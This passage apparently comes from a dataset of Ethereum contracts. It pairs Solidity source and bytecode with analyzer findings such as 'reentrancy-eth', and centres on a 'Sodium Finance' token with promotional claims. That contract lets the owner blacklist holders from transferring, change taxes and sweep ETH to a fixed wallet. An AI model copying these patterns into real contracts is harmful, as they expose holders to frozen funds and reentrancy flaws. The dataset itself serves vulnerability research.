555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209da56d512fae9e6f2793b09c5293c0066dcc5fee7a4e03f03919a6aaf7fa8eb464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,066
0x498e08250e127e25f9633d16d7cd2af1b90714c0
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ // https://t.me/sodiumeth // https://t.me/sodiumeth // https://t.me/sodiumeth /* SODIUM ($Na) is the essential element for living. SODIUM will become the key element for crypto investors. Core Businesses of SODIUM: SODIUM gateway This gateway allows you to top up your Fiat or Crypto assets and pay to the merchants. Also, we support merchants to receive Crypto and we provide solutions to change the Crypto to Fiat for the merchants. SODIUM exchange We aim to provide a cross-chain DEX for all crypto users. We will launch an ERC-20 Exchange first and then extend the service to other chains. Our target is helping people to buy any crypto project from any chains. Staking Reward 6% of each transactions and the all profit from SODIUM gateway & SODIUM exchange will go for the reward pool to reward all the users who stack SODIUM in the pool. */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SODIUM is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Sodium Finance"; string private constant _symbol = "SODIUM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x3703f71e01aD6C4C48c685ED38C56c3dc566b741); _buyTax = 9; _sellTax = 9; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034d578063c3c8cd801461036d578063c9567bf914610382578063dbe8272c14610397578063dc1052e2146103b7578063dd62ed3e146103d757600080fd5b8063715018a6146102ac5780638da5cb5b146102c157806395d89b41146102e95780639e78fb4f14610318578063a9059cbb1461032d57600080fd5b806323b872dd116100f257806323b872dd1461021b578063273123b71461023b578063313ce5671461025b5780636fc3eaec1461027757806370a082311461028c57600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a557806318160ddd146101d55780631bbae6e0146101fb57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611672565b61041d565b005b34801561016857600080fd5b5060408051808201909152600e81526d536f6469756d2046696e616e636560901b60208201525b60405161019c919061168f565b60405180910390f35b3480156101b157600080fd5b506101c56101c0366004611709565b61046e565b604051901515815260200161019c565b3480156101e157600080fd5b50683635c9adc5dea000005b60405190815260200161019c565b34801561020757600080fd5b5061015a610216366004611735565b610485565b34801561022757600080fd5b506101c561023636600461174e565b6104c9565b34801561024757600080fd5b5061015a61025636600461178f565b610532565b34801561026757600080fd5b506040516009815260200161019c565b34801561028357600080fd5b5061015a61057d565b34801561029857600080fd5b506101ed6102a736600461178f565b6105b1565b3480156102b857600080fd5b5061015a6105d3565b3480156102cd57600080fd5b506000546040516001600160a01b03909116815260200161019c565b3480156102f557600080fd5b50604080518082019091526006815265534f4449554d60d01b602082015261018f565b34801561032457600080fd5b5061015a610647565b34801561033957600080fd5b506101c5610348366004611709565b610859565b34801561035957600080fd5b5061015a6103683660046117c2565b610866565b34801561037957600080fd5b5061015a6108fc565b34801561038e57600080fd5b5061015a61093c565b3480156103a357600080fd5b5061015a6103b2366004611735565b610ae7565b3480156103c357600080fd5b5061015a6103d2366004611735565b610b1f565b3480156103e357600080fd5b506101ed6103f2366004611887565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104505760405162461bcd60e51b8152600401610447906118c0565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047b338484610b57565b5060015b92915050565b6000546001600160a01b031633146104af5760405162461bcd60e51b8152600401610447906118c0565b6801158e460913d000008111156104c65760108190555b50565b60006104d6848484610c7b565b610528843361052385604051806060016040528060288152602001611a86602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8b565b610b57565b5060019392505050565b6000546001600160a01b0316331461055c5760405162461bcd60e51b8152600401610447906118c0565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a75760405162461bcd60e51b8152600401610447906118c0565b476104c681610fc5565b6001600160a01b03811660009081526002602052604081205461047f90610fff565b6000546001600160a01b031633146105fd5760405162461bcd60e51b8152600401610447906118c0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106715760405162461bcd60e51b8152600401610447906118c0565b600f54600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610447565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610730573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075491906118f5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906118f5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610812573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083691906118f5565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047b338484610c7b565b6000546001600160a01b031633146108905760405162461bcd60e51b8152600401610447906118c0565b60005b81518110156108f8576001600660008484815181106108b4576108b4611912565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f08161193e565b915050610893565b5050565b6000546001600160a01b031633146109265760405162461bcd60e51b8152600401610447906118c0565b6000610931306105b1565b90506104c681611083565b6000546001600160a01b031633146109665760405162461bcd60e51b8152600401610447906118c0565b600e546109879030906001600160a01b0316683635c9adc5dea00000610b57565b600e546001600160a01b031663f305d71947306109a3816105b1565b6000806109b86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a459190611959565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c69190611987565b6000546001600160a01b03163314610b115760405162461bcd60e51b8152600401610447906118c0565b600f8110156104c657600b55565b6000546001600160a01b03163314610b495760405162461bcd60e51b8152600401610447906118c0565b600f8110156104c657600c55565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b60008111610da35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b6001600160a01b03831660009081526006602052604090205460ff1615610dc957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0b57506001600160a01b03821660009081526005602052604090205460ff16155b15610f7b576000600955600c54600a55600f546001600160a01b038481169116148015610e465750600e546001600160a01b03838116911614155b8015610e6b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e805750600f54600160b81b900460ff165b15610ead576000610e90836105b1565b601054909150610ea083836111fd565b1115610eab57600080fd5b505b600f546001600160a01b038381169116148015610ed85750600e546001600160a01b03848116911614155b8015610efd57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0e576000600955600b54600a555b6000610f19306105b1565b600f54909150600160a81b900460ff16158015610f445750600f546001600160a01b03858116911614155b8015610f595750600f54600160b01b900460ff165b15610f7957610f6781611083565b478015610f7757610f7747610fc5565b505b505b610f8683838361125c565b505050565b60008184841115610faf5760405162461bcd60e51b8152600401610447919061168f565b506000610fbc84866119a4565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b60006007548211156110665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610447565b6000611070611267565b905061107c838261128a565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cb576110cb611912565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906118f5565b8160018151811061115b5761115b611912565b6001600160a01b039283166020918202929092010152600e546111819130911684610b57565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba9085906000908690309042906004016119bb565b600060405180830381600087803b1580156111d457600080fd5b505af11580156111e8573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061120a8385611a2c565b90508381101561107c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b610f868383836112cc565b60008060006112746113c3565b9092509050611283828261128a565b9250505090565b600061107c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b6000806000806000806112de87611433565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113109087611490565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133f90866111fd565b6001600160a01b038916600090815260026020526040902055611361816114d2565b61136b848361151c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113df828261128a565b8210156113fc57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836114265760405162461bcd60e51b8152600401610447919061168f565b506000610fbc8486611a44565b60008060008060008060008060006114508a600954600a54611540565b9250925092506000611460611267565b905060008060006114738e878787611595565b919e509c509a509598509396509194505050505091939550919395565b600061107c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8b565b60006114dc611267565b905060006114ea83836115e5565b3060009081526002602052604090205490915061150790826111fd565b30600090815260026020526040902055505050565b6007546115299083611490565b60075560085461153990826111fd565b6008555050565b600080808061155a606461155489896115e5565b9061128a565b9050600061156d60646115548a896115e5565b905060006115858261157f8b86611490565b90611490565b9992985090965090945050505050565b60008080806115a488866115e5565b905060006115b288876115e5565b905060006115c088886115e5565b905060006115d28261157f8686611490565b939b939a50919850919650505050505050565b6000826115f45750600061047f565b60006116008385611a66565b90508261160d8583611a44565b1461107c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b80151581146104c657600080fd5b60006020828403121561168457600080fd5b813561107c81611664565b600060208083528351808285015260005b818110156116bc578581018301518582016040015282016116a0565b818111156116ce576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c657600080fd5b8035611704816116e4565b919050565b6000806040838503121561171c57600080fd5b8235611727816116e4565b946020939093013593505050565b60006020828403121561174757600080fd5b5035919050565b60008060006060848603121561176357600080fd5b833561176e816116e4565b9250602084013561177e816116e4565b929592945050506040919091013590565b6000602082840312156117a157600080fd5b813561107c816116e4565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117d557600080fd5b823567ffffffffffffffff808211156117ed57600080fd5b818501915085601f83011261180157600080fd5b813581811115611813576118136117ac565b8060051b604051601f19603f83011681018181108582111715611838576118386117ac565b60405291825284820192508381018501918883111561185657600080fd5b938501935b8285101561187b5761186c856116f9565b8452938501939285019261185b565b98975050505050505050565b6000806040838503121561189a57600080fd5b82356118a5816116e4565b915060208301356118b5816116e4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190757600080fd5b815161107c816116e4565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561195257611952611928565b5060010190565b60008060006060848603121561196e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199957600080fd5b815161107c81611664565b6000828210156119b6576119b6611928565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a0b5784516001600160a01b0316835293830193918301916001016119e6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3f57611a3f611928565b500190565b600082611a6157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a8057611a80611928565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201cedde310b0bc8b833f87942bde6ffdd195cdc2966565fc169b27ccc9b9d836764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,067
0x77970990356563ae8bba88e5e89bd7e8bc1138eb
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, 